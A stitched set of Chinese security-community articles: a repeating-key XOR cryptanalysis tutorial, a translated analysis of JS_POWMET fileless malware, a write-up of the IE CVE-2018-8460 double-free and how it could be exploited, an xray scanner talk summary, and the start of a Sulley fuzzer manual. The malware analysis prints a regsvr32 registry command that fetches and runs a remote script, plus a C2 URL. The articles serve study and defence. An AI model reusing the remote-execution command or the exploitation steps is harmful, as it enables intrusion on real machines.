if chr(result) in verifycode and asc1 != ' ' and asc2 != ' ':
results.append((asc1, asc2))
filtedresult = []
setresult = set(results)
for i in setresult:
for j in setresult:
if set(i) != set(j) and set(i) not in filtedresult:
filtedresult.append(set(i))
print("verify len:", len(filtedresult))
print("result:", filtedresult)
运行这个脚本，会发现有349种可能的情况，那么是不是说明运用空格这个点来破解不合理？其实不然，要知道，这349中可能性里面，没有哪一个字符可以满足与任何一个字母异或都是字母区间，这就是说，空格及有无可挑剔的最大可能。这样一来，我们可以分别按照密钥将密文重新分组，将异或用一个密钥字节的密文合并成一组，这样一来我们就可以拥有密钥长度个组，每个组都是明文异或同一个密钥字节得来的密文。取其中一个分组，将里面的字符两两异或，记录每个字符与其他每一个字符异或出现结果是字母的次数，取最大次数（因为根据概率学，明文空格情况下，该次数应该是最大的，当然不排除极小概率的特俗情况）的字符我们将推断其明文为空格，然后异或出该分组的密钥字节。说来可能有点绕，做出相应的图示如下：
以下是具体的实现的步骤：
1. 使用取模运算把密文分成n个分组（其中n是密钥长度），如此以来，我们就有了n个独立的凯撒加密式的密文组（因为每个分组里面的值是使用同一个密钥字节明文异或）。这样就把问题简化成了破解n个独立的凯撒加密模式的单字节抑或密码方式。这一步可以直接使用爆破，但是效率不高。我们采取另一种姿势。
2. 将2中的每个分组做如下的操作：每个分组做嵌套循环，内循环，外循环。设置外循环计数值possible_space=0，max_possible=0，设置内循环计数值maxpossible=0,依次取出每个分组中的每一个字节做与其他字节两两抑或进行内循环，如果结果是字母，我们就把内循环计数值maxpossible+1,在每个内循环结束后进行max_possible的更新（与内循环maxpossible做对比），并记录当前字节的位置到possible_space，然后外循环继续。直至遍历完所有的字节。取出max_possible对应的字节位置possible_space处的字节码，我们把它对应的明文假设成空格（根据之前的讨论）然后将该位置的字节和0x20（空格）异或;找出相应位置的密钥字节。
3. 重复2中的步骤，依次根据每个分组找出每位的密钥字节，至此密钥破解完毕
4. 将找出的密钥用于破解密文。当密文足够多，可以发现破解的准确率很高，基本可以做到无差别破解。
可能读者对上述步骤仍旧存在一些疑问，这里以例题作为进一步的说明（crypto chanllege set1 question6），下面是解题代码：
def break_single_key_xor(text):
key = 0
possible_space=0
max_possible=0
letters = string.ascii_letters.encode('ascii')
for a in range(0, len(text)):
maxpossible = 0
for b in range(0, len(text)):
if(a == b):
continue
c = text[a] ^ text[b]
if c not in letters and c != 0:
continue
maxpossible += 1
if maxpossible>max_possible:
max_possible=maxpossible
possible_space=a
key = text[possible_space]^ 0x20
return chr(key)
text = ''
with open("6.txt","r") as f:
for line in f:
text += line
b = base64.b64decode(text)
for KEYSIZE in range(2, 40):
# KEYSIZE=29
block_bytes = [[] for _ in range(KEYSIZE)]
for i, byte in enumerate(b):
block_bytes[i % KEYSIZE].append(byte)
keys = ''
try:
for bbytes in block_bytes:
keys += break_single_key_xor(bbytes)
key = bytearray(keys * len(b), "utf-8")
plaintext = bxor(b, key)
print("keysize:", KEYSIZE)
print("key is:", keys, "n")
s = bytes.decode(plaintext)
print(s)
except Exception:
continue
在之前的讲述上，理解这段代码并不难，读者试着输出所有可能的结果，我们可以看到有40种不同的结果，当密钥长度爆破到29的时候，明文清晰可见。但是这里是采用爆破的方式猜解密钥长度，不是很智能。当我们使用之前汉明距离猜解密钥长度的方法，可以更加快速的得出结果，以下是改进版：
import base64
import string
def bxor(a, b): # xor two byte strings of different lengths
if len(a) > len(b):
return bytes([x ^ y for x, y in zip(a[:len(b)], b)])
else:
return bytes([x ^ y for x, y in zip(a, b[:len(a)])])
def hamming_distance(b1, b2):
differing_bits = 0
for byte in bxor(b1, b2):
differing_bits += bin(byte).count("1")
return differing_bits
def break_single_key_xor(text):
key = 0
possible_space=0
max_possible=0
letters = string.ascii_letters.encode('ascii')
for a in range(0, len(text)):
maxpossible = 0
for b in range(0, len(text)):
if(a == b):
continue
c = text[a] ^ text[b]
if c not in letters and c != 0:
continue
maxpossible += 1
if maxpossible>max_possible:
max_possible=maxpossible
possible_space=a
key = text[possible_space]^ 0x20
return chr(key)
text = ''
with open("6.txt","r") as f:
for line in f:
text += line
b = base64.b64decode(text)
normalized_distances = []
for KEYSIZE in range(2, 40):
#我们取其中前6段计算平局汉明距离
b1 = b[: KEYSIZE]
b2 = b[KEYSIZE: KEYSIZE * 2]
b3 = b[KEYSIZE * 2: KEYSIZE * 3]
b4 = b[KEYSIZE * 3: KEYSIZE * 4]
b5 = b[KEYSIZE * 4: KEYSIZE * 5]
b6 = b[KEYSIZE * 5: KEYSIZE * 6]
normalized_distance = float(
hamming_distance(b1, b2) +
hamming_distance(b2, b3) +
hamming_distance(b3, b4) +
hamming_distance(b4, b5) +
hamming_distance(b5, b6)
) / (KEYSIZE * 5)
normalized_distances.append(
(KEYSIZE, normalized_distance)
)
normalized_distances = sorted(normalized_distances,key=lambda x:x[1])
for KEYSIZE,_ in normalized_distances[:5]:
block_bytes = [[] for _ in range(KEYSIZE)]
for i, byte in enumerate(b):
block_bytes[i % KEYSIZE].append(byte)
keys = ''
try:
for bbytes in block_bytes:
keys += break_single_key_xor(bbytes)
key = bytearray(keys * len(b), "utf-8")
plaintext = bxor(b, key)
print("keysize:", KEYSIZE)
print("key is:", keys, "n")
s = bytes.decode(plaintext)
print(s)
except Exception:
continue
改进后我们可以更加快速的破解出明文，而且最后的人工搜索阶段也会减少很多的对比，十分友好。
**methon two**
当然除了利用空格来猜测密钥这种方法外，我们还有另外一种比较大众化的思路，那就是是利用了字母出现的频率统计规律进行权重赋值。其实说白了就是字频攻击。在methon
one中的第一部以后，我们就有了一组组类似凯撒加密的密文，只不过他们组不成完整的词或句子，如果我们单单暴力遍历256种密钥可能，那么结果我们也缺少一个衡量的指标，别说256中可能够你看的，而且没有一种是成词成句的。所以这样解出密钥很费力。我们需要一个评判的指标实现高可用和高效性。这时词频攻击的优势就体现出来了。我们可以给英文中的字母根据百分比附一个权重，然后依次计算256组解密后的“明文”总权重，当总权值最高时，我们有理由相信这时的密钥字节是正确的。因为当截获的密文足够多，我们可以得到分布十分贴近字频规律的明文，这样算出来的总权值就越大。关于字频的统计特性，我们可以在网上搜到很多权重赋值版本。以下是对`the
cryptopals crypto challenges question6`的解题样例：
import base64
import string
def bxor(a, b): # xor two byte strings of different lengths
if len(a) > len(b):
return bytes([x ^ y for x, y in zip(a[:len(b)], b)])
else:
return bytes([x ^ y for x, y in zip(a, b[:len(a)])])
def hamming_distance(b1, b2):
differing_bits = 0
for byte in bxor(b1, b2):
differing_bits += bin(byte).count("1")
return differing_bits
def score(s):
freq = {}
freq[' '] = 700000000
freq['e'] = 390395169
freq['t'] = 282039486
freq['a'] = 248362256
freq['o'] = 235661502
freq['i'] = 214822972
freq['n'] = 214319386
freq['s'] = 196844692
freq['h'] = 193607737
freq['r'] = 184990759
freq['d'] = 134044565
freq['l'] = 125951672
freq['u'] = 88219598
freq['c'] = 79962026
freq['m'] = 79502870
freq['f'] = 72967175
freq['w'] = 69069021
freq['g'] = 61549736
freq['y'] = 59010696
freq['p'] = 55746578
freq['b'] = 47673928
freq['v'] = 30476191
freq['k'] = 22969448
freq['x'] = 5574077
freq['j'] = 4507165
freq['q'] = 3649838
freq['z'] = 2456495
score = 0
string=bytes.decode(s)
for c in string.lower():
if c in freq:
score += freq[c]
return score
def break_single_key_xor(b1):
max_score = 0
english_plaintext = 0
key = 0
for i in range(0,256):
b2 = [i] * len(b1)
try:
plaintext = bxor(b1, b2)
pscore = score(plaintext)
except Exception:
continue
if pscore > max_score or not max_score:
max_score = pscore
english_plaintext = plaintext
key = chr(i)
return key
text = ''
with open(r"c:/Users/lyy18291855970/Desktop/密码学/密码题/the cryptopals crypto challenges/6.txt", "r") as f:
for line in f:
text += line
b = base64.b64decode(text)
normalized_distances = []
for KEYSIZE in range(2, 40):
# 我们取其中前6段计算平局汉明距离
b1 = b[: KEYSIZE]
b2 = b[KEYSIZE: KEYSIZE * 2]
b3 = b[KEYSIZE * 2: KEYSIZE * 3]
b4 = b[KEYSIZE * 3: KEYSIZE * 4]
b5 = b[KEYSIZE * 4: KEYSIZE * 5]
b6 = b[KEYSIZE * 5: KEYSIZE * 6]
b7 = b[KEYSIZE * 6: KEYSIZE * 7]
normalized_distance = float(
hamming_distance(b1, b2) +
hamming_distance(b2, b3) +
hamming_distance(b3, b4) +
hamming_distance(b4, b5) +
hamming_distance(b5, b6)
) / (KEYSIZE * 5)
normalized_distances.append(
(KEYSIZE, normalized_distance)
)
normalized_distances = sorted(normalized_distances, key=lambda x: x[1])
for KEYSIZE, _ in normalized_distances[:5]:
block_bytes = [[] for _ in range(KEYSIZE)]
for i, byte in enumerate(b):
block_bytes[i % KEYSIZE].append(byte)
keys = ''
for bbytes in block_bytes:
keys += break_single_key_xor(bbytes)
key = bytearray(keys * len(b), "utf-8")
plaintext = bxor(b, key)
print("keysize:", KEYSIZE)
print("key is:", keys, "n")
s = bytes.decode(plaintext)
print(s)
## 反思回顾
通过这一番折腾，对流密码的重用的不安全性有了更加深入的理解，同时也是对ctf密码题这类异或题型的解题思路的一次总结升华。在文章的最后想把这篇文章里用到的几个不错的思路或者说想法做一个总结性摘录：
1. 在异或加密中，明文和明文异或等于密文和密文异或，并且二者的汉明距离一样。
2. 空格和所有小写字母异或结果是相应的大写字母，空格和所有大写字母异或是相应的小写字母。除了空格以外，仍旧有一些组合可以出现异或结果是大小写字母，但是空格出现时，结果在大小写字母间的概率最大。
3. 两个以ascii编码的英文字符的汉明距离是2-3之间，也就是说正常英文字母的平均汉明距离为2-3（每比特），任意字符（非纯字母）的两两汉明距离平均为4。
4. 在破解这类问题的三步走：猜解密钥长度；根据密钥长度分组，依次求解密钥每个字节得出密钥；最后根据密钥还原出明文。
## 参考文献
<https://crypto.stackexchange.com/questions/8115/repeating-key-xor-and-hamming-distance>
<https://cypher.codes/writing/cryptopals-challenge-set-1> | 社区文章 |
# 【木马分析】来去无踪：针对JS_POWMET无文件恶意软件的分析
|
##### 译文声明
本文是翻译文章，文章来源：trendmicro.com
原文地址：<http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：180RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**日前，由于高明的网络犯罪分子开始专注于在不留下任何痕迹的情况下对目标实施网络攻击，因此不留痕迹的恶意软件（如最近的SOREBRECT勒索恶意软件）将成为更常见的攻击手段，而且这种苗头已经开始显现了。**
然而，这些所谓的无文件恶意攻击只是在进入用户系统时才是无文件的，而在最终执行其有效载荷时还是会暴露自己，所以要想使用完全的无文件恶意软件攻击是很难办到的。不过，随着网络攻击者技术的不断提高，趋势科技的研究人员最近还是发现了一个完全无文件的新特洛伊木马软件-JS_POWMET.DE。该木马软件通过自动启动注册表程序开始实施网络攻击，之后通过使用完全无文件的感染链完成整个攻击过程，整个攻击过程及其隐蔽操作很难使用沙箱进行分析，使得专门进行安全分析的软件工程师都难以察觉到该恶意软件的攻击。
根据趋势科技智能防护网络 ( Smart Protection Network,SPN ) 的监测数据显示， **亚太地区是目前被
JS_POWMET.DE这款恶意软件感染最多的地方，该地区感染量占趋势科技智能防护网络检测到的总量的90％左右。**
**技术细节**
根据我们安全研究人员的分析和推测，虽然确切的攻击方式目前仍然不能够确定，但是JS_POWMET
木马软件很可能是在用户访问了恶意网站时下载的，或者是捆绑在用户之前下载的恶意软件中。不过有一个事实是已经被我们的安全研究人员证实的，那就是一旦恶意软件被下载到用户的机器上，该用户机器上的下面的注册表项就已经被更改了。
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
COM+ = “regsvr32 /s /n /u /i:{Malicious URL, downloads JS_POWMET} scrobj.dll”
之后网络攻击者通过自动启动注册表项（代码如上所示）来下载JS_POWMET恶意软件。
以下是 使用"regsvr32" 命令涉及到的参数说明：
1\. / s = regsvr32命令的默认选项
2\. / n = 告诉regsvr32 命令不要调用DllRegisterServer
3\. / u = 告诉regsvr32 命令不注册server/object
4\. / i = 用于将可选参数（即URL）传递给DLLinstall
5\. scrobj.dll = 要注册的 dll 文件名
网络攻击者通过这种方法，将一个恶意的URL地址作为参数传递给regsvr32命令，，regsvr32通过使用这个恶意的URL地址获取到与URL关联的恶意文件（一个带有恶意JavaScript的XML文件）。使用上述命令，regsvr32将能够执行任意的脚本，而不会在机器或者系统上保存任何的XML文件。当被攻击的机器或者系统重新启动时，它也会自动从其C＆C服务器上下载恶意文件到目标机器上运行。
一旦JS_POWMET被执行，它将会去下载另一个称为TROJ_PSINJECT的恶意文件（由趋势科技检测并命名为TROJ_PSINJECT.A）。该文件是一个Powershell脚本，通过Powershell运行时TROJ_PSINJECT将会去链接下面这个网站：
hxxps://bogerando[.]ru/favicon
通过访问上面那个恶意的URL，TROJ_PSINJECT将下载一个名为favicon的恶意文件，然后，TROJ_PSINJECT恶意程序调用ReflectivePELoader（用于注入EXE
/ DLL文件的程序）将该favicon文件解密并将解密后的内容注入到TROJ_PSINJECT恶意程序的进程中。
要解密恶意软件代码，可以通过使用以下技术实现：首先，恶意软件使用 RC4 密钥（预先硬编码到恶意软件代码中的）对代码中的 Base64
编码的字符串进行解码和解密；其次，解密后的字符串又是使用GZIP 压缩的字符串，该字符串由恶意软件本身调用 GZIP
解压缩函数进行解压缩；最后，ReflectivePELoader 函数将使用解压缩后得到的字符串来解密下载的Favicon 恶意文件。
Favicon 文件也将使用上述硬编码的RC4 密钥进行解密，解密之后生成一个名为 BKDR_ANDROM（趋势科技检测并将其为
BKDR_ANDROM.ETIN）的恶意 DLL
文件，这个过程也是无文件的，该文件将不会保存到受害者的机器或者系统中，而是ReflectivePELoader直接将解密后结果注入到
powershell.exe 进程中，上面讲述的所有过程都是恶意软件通过 PowerShell 命令来执行的：
如果在系统中直接运行该文件，BKDR_ANDROM恶意程序将会终止powershell.exe进程。另外还会收集以下数据：
1\. 用户机器上的磁盘序列号
2\. 操作系统版本
3\. 本地IP地址
4\. 管理员权限
恶意软件会将注册表项添加到系统中，以确保它始终在机器启动时被执行。加入到系统的这些自动启动的注册表项能够解码使用Base64编码的PowerShell命令，这些命令将用于解密那些被加密的二进制文件（在恶意软件添加的注册表项中也能找到），最终生成BKDR_ANDROM这个恶意代码。在解密过程之后，它将执行解密后的恶意代码，虽然上述情况下的最终有效载荷由BKDR_ANDROM这个恶意程序组成，但是未来的恶意软件作者可能会将其他恶意软件用作JS_POWMET恶意软件的有效载荷。
**结论**
虽然JS_POWMET恶意软件及其下载的其他文件在影响方面相对不是很严重，但是这种恶意软件的出现已经表明，网络犯罪分子将会使用一切手段来躲避安全软件的检测和分析，这在一定程度上说明那些不常见的无文件恶意软件的感染方法也在不断发展，即使安全研究人员能够从内存中获取代码，调查工作仍然很难开展，因为当处理内存中的代码时，最常见的调查工具几乎都是是无用的。安全研究人员和用户不仅仅要关注那些看得到的恶意软件文件，还要关注那些“隐身”恶意软件，这些恶意软件往往是最容易被忽视的。
减轻无文件恶意软件影响的更有效的方法之一是通过基于容器的系统来限制对关键基础设施的访问，这些系统将用户终端与基础网络中最关键的部分分隔开，对于这种特定的恶意软件，IT专业人员还可以通过禁用Powershell进程来帮助减轻JS_POWMET及其各种有效负载的影响。
**恶意软件样本哈希值**
7004b6c1829a745002feb7fbb0aad1a4d32c640a6c257dc8d0c39ce7b63b58cc（TROJ_PSINJECT.A）
e27f417b96a33d8449f6cf00b8306160e2f1b845ca2c9666081166620651a3ae（JS_POWMET.DE）
bff21cbf95da5f3149c67f2c0f2576a6de44fa9d0cb093259c9a5db919599940（BKDR_ANDROM.ETIN） | 社区文章 |
原文：<https://www.zerodayinitiative.com/blog/2018/10/18/cve-2018-8460-exposing-a-double-free-in-internet-explorer-for-code-execution>
**简介**
* * *
最近，微软发布了Internet
Explorer（IE）的[更新](https://www.zerodayinitiative.com/blog/2018/10/9/the-october-2018-security-update-review
"更新")补丁，修复了其中的[CVE-2018-8460](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8460
"CVE-2018-8460")漏洞。在所有受支持的Windows版本中，IE
11都存在该漏洞。按照微软的说法，该漏洞是一种普通的“内存破坏”型漏洞，但实际上，该漏洞是由CSS机制中的Double
Free漏洞所致，攻击者可以利用该漏洞发动远程代码执行攻击。因此，这是一个非常值得进一步研究的案例。
**漏洞详解**
* * *
实际上，该漏洞位于处理对属性cssText进行写操作的代码中。开发人员可以通过这个DOM属性来获取或设置CSS属性字符串，并可以通过一次操作检索或替换样式对象的全部内容。
在使用cssText属性为DOM中的元素指定样式过程中，IE将根据需要触发DOMAttributeModified事件。当攻击者处理DOMAttributeModified事件并将其用作重新输入cssText属性设置器的机会时，麻烦就开始了。处理对cssText执行写入操作的代码路径不是为了这样的重新输入而编写的。具体来说，它没有预料到在执行过程中会通过重新输入对样式对象的内容进行额外的修改。因此，当cssText的（外部）调用完成时，元素的CStyleAttrArray处于损坏状态，其中两个元素中存放的指针都指向内存中相同得CSS值字符串：
实际上，CStyleAttrArray中的字符串指针的重复现象是不应该出现的。因为，当这个CStyleAttrArray被销毁时，析构函数会对每个指针都调用一次HeapFree函数。由于列表中有一个重复的指针，因此，会使用同一个指针值对HeapFree函数调用两次，这样，就会出现Double
Free漏洞。请注意，内存的分配是在Windows进程的堆上进行的，因此，MemGC在这里并不适用。
下面是用于触发Double Free漏洞的[PoC](https://www.thezdi.com/s/CVE-2018-8460-PoC-s34g.txt
"PoC")代码：
**漏洞利用**
* * *
Double
Free漏洞的利用方法非常有难度。这是因为当前的Windows堆管理器都进行了相应的安全加固处理，可以自动检测到HeapFree函数的参数是否为已经释放的堆块，如果是的话，会通过立即关闭进程来防止进一步的内存破坏行为。
然而，利用Double
Free漏洞的方法是的确是存在的。准确来说，如果第一次调用HeapFree函数和第二次调用HeapFree函数的间隙，能够设法在被释放地址处重新分配内存的话，则可以完全绕过上述缓解措施。在这种情况下，当第二次调用HeapFree函数时，堆管理器会将相应的内存块视为已分配的内存块，而非已释放的内存块。因此，堆管理器看不出任何问题。然后，它将着手释放该段内存，从而可能进一步导致其他可利用的条件。
利用Double Free漏洞的策略总结如下：
1. 触发第一个HeapFree调用，释放位于地址A的对象X。
2. 引发新的内存分配操作，为新对象Y分配一段内存，让它位于地址A处。实际上，有时可能需要喷射许多对象，从而确保其中有一个对象位于A处。
3. 触发第二个HeapFree调用。这时将释放对象Y，因为Y位于A处。但是，对于Y的释放可能为时过早，因为在其他地方仍然可能还有尚未完成使命的指针还在指向它。
4. 触发新的内存分配操作，为第三个对象分配内容，仍然让它位于地址A处。我们将这个对象称为Z（如上所述，仍可能需要进行喷射操作）。
5. 触发用到对象Y的代码。这些代码的操作对象实际上是对象Z，因为当前位于地址A处的恰好就是对象Z。至此，已经具备了可利用的条件。
如果可以实现这些步骤，结果将是毁灭性的，因为攻击者对对象Y和Z的类型有很大的控制权。最有可能的情况是，这可以用于信息泄露和控制流劫持，从而发动完整的RCE攻击，而不需要与任何其他漏洞相配合。
在上面的步骤2中，在两次释放操作之间进行可靠的内存分配可能是最具挑战性的。就本例来说，我们该如何做到这一点呢？让我们看看CAttrArray::Free中的代码，其中出现了两次内存释放操作：
简而言之，这里是一个循环结构。在每次迭代，它都会将第一个数组元素中的数据复制到临时结构（v13）中，并调用memmove将其余元素向前移动一个位置（即数组元素1现在变成元素0，其他依此类推），然后调用ProcessHeapFree处理在已删除的数组元素中找到的指针。之后，继续循环，直到数组为空为止。请注意，循环结构中还包含一些其他代码（此处未显示），这些代码用于响应其他类型的数组元素。据推测，正是由于其他代码的复杂性的缘故，所以才有必要使用这种低效的O
( n^2)算法来清除数组。
由于存放重复指针的两个数组元素在数组中彼此相邻，因此，在两次调用ProcessHeapFree的间隙所能够执行的代码非常少。那么，我们如何才能在两次释放操作之间完成内存分配呢？
请注意，在对ProcessHeapFree的连续调用间隙，还将调用memmove。假如我们可以将这个移动操作变成一个漫长的过程的话，就会在两次调用ProcessHeapFree间隙引入一段时间延迟。如果我们使用第二个线程在第一个线程清除数组的同时快速连续调用HeapAlloc的话，我们就可以赢得竞争，并在两次调用ProcessHeapFree的间隙完成所需的内存分配工作。
只有当攻击者能够控制memmove的大小时间使其变得非常大时，这种方法才能奏效。当我们研究这个漏洞时，结果让人大吃一惊：要想增加memmove的大小，只需向元素添加额外的自定义样式属性，从而增加CStyleAttrArray的大小即可。例如，我们可以添加名为-ms-xyz1、-ms-xyz2之类的样式。这一点在上面的PoC中就可以看出来。但是，我们发现，对于IE来说，样式属性的数量上限为100万个。由于每个属性在CStyleAttrArray中都是由16字节元素来表示的，因此，最大memmove将只有16MB。这并不能拖延多少时间。我们认为，仍然可以通过引入一些额外的技巧来利用这种方法，例如，使用大量的内存分配线程来提高赢得竞争条件的概率。简而言之，这种技术在理论上是说得通的，但是，在实践中能否用于利用这个特定的漏洞还有待观察。
在这种情况下，更有希望的方法可能是找到一种修改PoC的方法，使得CStyleAttrArray中的重复指针不在相邻元素中，以便在两次调用ProcessHeapFree间隙可以运行更长的代码。最好能够为脚本添加生成回调函数的代码，这样我们就可以在无需赢得竞争的情况下完成内存分配了。
**小结**
* * *
读者可能已经注意到了，在服务器上，该漏洞的威胁程度为“中等”，但对于客户端来说，其威胁程度为“高危”。这是因为，在服务器上，IE在默认情况下会以增强安全配置（[ESC](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd883248\(v=ws.10)
"ESC")）下运行。如果禁用该功能的话，该漏洞对于服务器的威胁程度也会上升到高危级别。在漏洞利用指数方面，微软为这个漏洞的打分为1分，这意味着在接下来的30天内，可能会出现针对该漏洞的攻击。该漏洞是由ca0nguyen（[ZDI-18-1137](https://www.zerodayinitiative.com/advisories/ZDI-18-1137/
"ZDI-18-1137")）提交给ZDI计划的。在调查这个案例时，我在IE中发现了一个OOB写入漏洞，这可能是微软将这个漏洞归类为“内存破坏”的一个原因。需要说明的是，这两个漏洞都是由这个CVE的补丁修复的。如果读者还没有安装对应的补丁程序的话，那可要抓紧行动了。
与往常一样，我可以在Twitter上找到@HexKitchen，并跟随团队获取最新的漏洞利用技术和安全补丁。 | 社区文章 |
# 议题解读 | 漏洞挖掘进化论：推开 xray 之门
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
我非常荣幸的参加了今年的阿里白帽大会，会上分享了一个议题 **《漏洞挖掘进化论 – 推开 xray 之门》** ，这里做一个简单的记录和解读。
议题的主要目的是帮助大家认识一下 xray，分享 xray 在实现漏洞自动化检测时用到的前沿漏洞检测技术，显示 xray
相比其他社区项目的优势。为了实现这样的目的，我挑选了 xray 中的两个插件，循序渐进的带大家认识了插件背后的运行机理，一个是 JSONP，一个是 POC
框架。由于这里面对的是大批优秀的白帽子，他们擅长漏洞挖掘的同时开发能力相对弱一些，因此议题中我主要侧重于对自动化检测思路的介绍而非实际的代码实现。
## JSONP 的检测
说起来也巧，这次的 6 个议题中有 3 个多多少少讲到了 jsonp 这个问题，当然这三个议题的切入点是完全不同的，我这个当然就是讲自动化挖掘了。在讲这个
“漏洞” 之前，我们需要明确一个概念—— jsonp 本身不是漏洞，它仅仅是一种兼容性非常棒的跨域通信方式，那么是么时候会被认为是漏洞呢？当 jsonp
的返回数据为用户敏感数据，并且这个 jsonp 的检验不严格导致可以被外部利用，这时候就可以称之为 **jsonp** **敏感信息泄露漏洞** 。
我们先回顾一下 jsonp 漏洞的手工挖掘方式:
相对应的，在做自动化检测时拿到一个请求后应该考虑如下几个问题:
1. 寻找 JS 类型的资源
2. 判断是否是 JSONP
3. 判断是否包含敏感信息
4. 判断能否绕过 Referer
第一点我们通过判断 Content-Type 就可以做到；第二点只需要判断 url 的 query 是否包含 callback、cb
等字样就可以，可以通过收集一部分关键字然后通过正则实现；第三点，我们借势“举一反三”继续使用正则判断，这也为后面的优化埋下伏笔；第四点通过替换
Referer，看下替换后是否依然有敏感信息即可。
由于第三步处理逻辑的粗糙，这种的方式很容易导致漏报和误报，但如果通过正则优化来解决，会遇到很多棘手的问题，我这里随便举了几个栗子，并由此引出结论：
**正则不是解决这个问题的最优解** 。
那么什么是这个问题的最优解，我们重新思考一下这个漏洞原理，不难发现它有如下特点：
1. 所有的 JSONP 都是 Javascript 代码
2. 这段代码语义完整可以执行
3. 这段代码长度简短逻辑简单（性能上的考量）
在这种情况下，有一种稍微高阶一点的检测方式： **语义分析**
在 AST 层面的统一和一致，给我们的分析过程带来了极大的遍历，使我们可以很轻易的解决下面几种 case
callback({"username":"xray"});
callback({"data": {username:"xray"}});
/*aa*/ window.cb && window.cb({"username":"xray"})
callback([{"info": {"username": "array"}}])
cb(' {"username":"xray"} ')
a={"username": "xray"}; cb({"s": a})
至此 jsonp 的检测可以说找到了一种相对完美的解决方案，误报的数量处于完全可接
受的状态，漏报一般丰富一下敏感信息关键字就可以解决，jsonp 的介绍到此为止。
## POC 框架
web 漏洞不只有通用漏洞，还有一大波 cms、框架的漏洞，这些漏洞的检测没办法做统一的处理，所以一个 POC 框架是必不可少的。但是对于 xray
这个不开源且用静态语言编写的扫描器而言，事情没有那么简单，我们需要一个“静态可拓展”的 POC 框架。回忆一下常见的静态语言动态化方式，大致有以下几种:
1. 开放接口 (interface/.so)
2. 开放部分源码 (Go plugin)
3. 内置其他语言解释器 (lua, js)
4. 表达式技术 (sPEL, OGNL)
第一种大家比较常见的是 burpsuite 的插件系统，burp 对外开放了一个 interface 文件，编写时根据接口去调用其中的方法即可；第二种是
Go 语言中的一种特殊的用法，可以理解为 Go 自带的插件系统，其实和 .so 非常像；第三种最常见是 OpenResty 内嵌的 lua
解释器，使得我们可以非常方便的为 nginx 拓展功能；最后一种在 Java 系中应用广泛，比如 structs 历来的高危漏洞大都和 OGNL
表达式有关。
这四种技术中，前3种都是需要写代码的，在我的认知下，安全能力强的人往往开发弱一些，而 xray
希望能快速形成社区，让更多的人参与进来，所以前三种方案都不合适。最终我们实现了一个基于 YAML 的 POC 框架。
这里实现上的关键就是表达式技术，我们站在巨人肩膀上，基于 CEL (Common Language Expression)
实现了大量新的函数，同时注入了几个必要的数据类型，使得表达式用起来自然简单而高效。比如上面的
response.body.bcontains(b”Example Domain”)，我们甚至可以直接用中文翻译过来——响应的 body 包含
“Example Domain” 时为真（漏洞存在），这极大的简化了 POC 的编写过程，没有任何编程基础的人看一下文档也可以快速上手。
相较于其他开源 POC 框架，xray 有个优势是所有 POC 官方审核维护，这既保证了 POC 的质量，又方便共享社区智慧成果，目前已有 120+ 优质
POC，且在不断增长中。
## 一些想法
其他内容大家参照 PPT 即可，我不去碎碎念了，最后说一点简单的想法：
1. 人力是昂贵的，一款优秀的自动化工具(xray) 可以减少重复劳动
2. 漏洞检测作为漏洞利用的起点，值得花精力去研究和思考
3. xray 作为社区新秀，希望能抛砖引玉，期待社区有衍生作品或更好的作品产生
4. 我们无暇去耗费精力做反破解相关的事情，社区运营本就不易，且用且珍惜
5. 希望有一天能在大家简历上看到熟练使用 sqlmap / burpsuite / nmap / **xray** 等工具
xray 从来不是一个人项目，他的诞生是几个人一起努力了大半年的结果，而这背后是几个人数年安全经验的凝结。xray
将不断努力创造好用的检测插件，为网络安全尽一份力。 | 社区文章 |
# 前言
这一系类的文章是对Sulley fuzzer的学习，文章的开始部分是对Sulley使用手册的翻译，后续的还有Sulley的实际应用。
手册链接：<http://www.fuzzing.org/wp-content/SulleyManual.pdf>
# Sulley: Fuzzing Framework
Sulley是一个可开发的fuzzer和多个可扩展组件组成的fuzz框架。恕我直言，Sulley无论从商业还是公共领域所表现的能力来看都超出了以前发布的大多数fuzz技术。该框架的目标不仅是简化数据表示，还简化数据传输和目标监控。Sulley以Monsters
Inc.(怪兽电力公司这部电影)的主角亲切地命名，well，因为它有绒毛（fuzzy）
在大多数情况下，现代的fuzzers仅专注于数据生成。Sulley不仅数据生成的能力让人印象深刻，而且更进一步地包括了一个现代fuzzer应该提供的很多其他重要方面的信息。
* Sulley可以条不紊地监视网络并保留记录。
* Sulley可以检测和监控目标的健康状况，能够使用多种方法恢复到已知的良好状态。
* Sulley可以检测，跟踪和分类检测到的故障。
* Sulley可以并行地fuzz，显著地提高测试速度。
* Sulley可以自动确定测试用例触发的特殊错误。
* Sulley自动完成了这一切，而且不需要再有人动手。
Sulley的总体用法分解如下：
* Data Representation：使用任何fuzzer的第一步。 在抓住数据包的同时运行目标并勾选一些接口。 将协议分解为单独的请求，并将其表示为Sulley中的block。
* Session：将您的请求链接在一起形成一个session，附加各种可用的Sulley监控代理（网络，调试器等）并开始fuzzing。
* Post Mortem：查看生成的数据和监控结果。 重现个别测试用例。
## Authors
* Pedram Amini, [email protected]
* Aaron Portnoy, [email protected]
## Documentation
* SulleyDirectoryStructure
* SulleyInstallation
* SulleyDataRepresentation
* SulleySessions
* SulleyPostMortem
* SulleyWalkthroughTrend
* SulleyDevNotes
# Sulley Directory Structure
Sulley目录结构有一些排版理由。维护目录结构将确保使用Legos,requests,utilities扩展fuzzer时一切都能够保持得井井有条。以下概述了您需要了解的目录结构（目录以粗体突出显示）：
**archived_fuzzies:** 这是一个由fuzz目标名称组成的目录(Free)，用来存储归档的fuzzers以及从fuzz
session生成的数据。
* **trend_server_protect_5168:** 这种已停用的fuzz会在本文档后面的逐步介绍中被引用。
* **trillian_jabber:** :文档中引用的另一个已停用的fuzz。
**audits:** 应将已记录的PCAP，崩溃数据，代码覆盖范围和active fuzz seesion的分析情况保存到此目录中。
一旦被停用，记录的数据将会被移至'archived_fuzzies'。
**docs:** 本文档和生成的Epydoc API参考。
**requests:** Sulley的需求库。 每个目标都应该有自己的文件，可以用来存储多个请求。
